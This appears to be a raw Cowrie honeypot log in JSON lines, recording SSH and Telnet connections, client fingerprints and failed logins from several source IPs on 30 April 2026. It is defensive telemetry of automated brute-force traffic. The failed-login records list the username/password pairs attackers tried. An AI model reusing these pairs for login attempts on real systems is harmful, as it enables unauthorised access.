{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:40.975991Z","src_ip":"159.203.92.129","session":"6908f9657050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aisino","password":"aisino","message":"login attempt [aisino/aisino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:40.986948Z","src_ip":"159.203.92.129","session":"6908f9657050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:41.992833Z","src_ip":"159.203.92.129","session":"6908f9657050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":54836,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e85d715ee2","protocol":"ssh","message":"New connection: 80.253.31.232:54836 (159.203.135.109:22) [session: 32e85d715ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:48.260673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:48.264904Z","src_ip":"80.253.31.232","session":"32e85d715ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:48.388375Z","src_ip":"80.253.31.232","session":"32e85d715ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123321","message":"login attempt [tester/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:48.897374Z","src_ip":"80.253.31.232","session":"32e85d715ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:50.021123Z","src_ip":"80.253.31.232","session":"32e85d715ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":38450,"dst_ip":"159.203.135.109","dst_port":22,"session":"962c23cbd8e3","protocol":"ssh","message":"New connection: 91.134.240.52:38450 (159.203.135.109:22) [session: 962c23cbd8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:57.928065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:57.969130Z","src_ip":"91.134.240.52","session":"962c23cbd8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:58.040996Z","src_ip":"91.134.240.52","session":"962c23cbd8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qazXSW@","message":"login attempt [user/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:58.388397Z","src_ip":"91.134.240.52","session":"962c23cbd8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:59.472353Z","src_ip":"91.134.240.52","session":"962c23cbd8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.27897667884827,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:09.654276Z","src_ip":"5.61.90.139","session":"e6f2bc616207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":46358,"dst_ip":"159.203.135.109","dst_port":22,"session":"f307f9305fa1","protocol":"ssh","message":"New connection: 217.154.192.185:46358 (159.203.135.109:22) [session: f307f9305fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:12.874278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:12.914283Z","src_ip":"217.154.192.185","session":"f307f9305fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:13.008723Z","src_ip":"217.154.192.185","session":"f307f9305fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest01","password":"guest01","message":"login attempt [guest01/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:13.420199Z","src_ip":"217.154.192.185","session":"f307f9305fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21440291404724,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:13.922339Z","src_ip":"5.61.90.139","session":"731c5c8a83e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:14.527496Z","src_ip":"217.154.192.185","session":"f307f9305fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.89887857437134,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:16.259174Z","src_ip":"5.61.90.139","session":"3f6dce830b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40166,"dst_ip":"159.203.135.109","dst_port":22,"session":"32885c473114","protocol":"ssh","message":"New connection: 159.203.92.129:40166 (159.203.135.109:22) [session: 32885c473114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:23.745310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:23.753567Z","src_ip":"159.203.92.129","session":"32885c473114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:23.759003Z","src_ip":"159.203.92.129","session":"32885c473114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aisino","password":"aisino123","message":"login attempt [aisino/aisino123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:23.870970Z","src_ip":"159.203.92.129","session":"32885c473114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:24.877861Z","src_ip":"159.203.92.129","session":"32885c473114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60562,"dst_ip":"10.17.0.5","dst_port":23,"session":"0582c72b2e03","protocol":"telnet","message":"New connection: 5.61.90.139:60562 (10.17.0.5:23) [session: 0582c72b2e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:29.161990Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60564,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9c08917d6f","protocol":"telnet","message":"New connection: 5.61.90.139:60564 (10.17.0.5:23) [session: 4c9c08917d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:29.805800Z"}
{"eventid":"cowrie.session.closed","duration":120.00128602981567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:31.982111Z","src_ip":"146.120.225.17","session":"777440523bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":34778,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a19cac66a24","protocol":"ssh","message":"New connection: 80.253.31.232:34778 (159.203.135.109:22) [session: 5a19cac66a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:33.504249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:33.508662Z","src_ip":"80.253.31.232","session":"5a19cac66a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:33.630035Z","src_ip":"80.253.31.232","session":"5a19cac66a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UBUNTU@2026","message":"login attempt [ubuntu/UBUNTU@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:34.150190Z","src_ip":"80.253.31.232","session":"5a19cac66a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205540657043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:35.099061Z","src_ip":"146.120.225.17","session":"26da5645327f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:35.275226Z","src_ip":"80.253.31.232","session":"5a19cac66a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":35140,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be742429556","protocol":"telnet","message":"New connection: 146.120.225.17:35140 (10.17.0.5:23) [session: 4be742429556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:36.094856Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60566,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3829bfd47ac","protocol":"telnet","message":"New connection: 5.61.90.139:60566 (10.17.0.5:23) [session: b3829bfd47ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:57.218482Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60570,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bdbfebf521","protocol":"telnet","message":"New connection: 5.61.90.139:60570 (10.17.0.5:23) [session: 37bdbfebf521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:43:58.260010Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60576,"dst_ip":"10.17.0.5","dst_port":23,"session":"90af9b01212a","protocol":"telnet","message":"New connection: 5.61.90.139:60576 (10.17.0.5:23) [session: 90af9b01212a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:03.735464Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50172,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f62bf6debbf","protocol":"ssh","message":"New connection: 159.203.92.129:50172 (159.203.135.109:22) [session: 2f62bf6debbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:06.304940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:06.309973Z","src_ip":"159.203.92.129","session":"2f62bf6debbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:06.316945Z","src_ip":"159.203.92.129","session":"2f62bf6debbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"0","message":"login attempt [aitech/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:06.334954Z","src_ip":"159.203.92.129","session":"2f62bf6debbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:07.341968Z","src_ip":"159.203.92.129","session":"2f62bf6debbf","protocol":"ssh"}
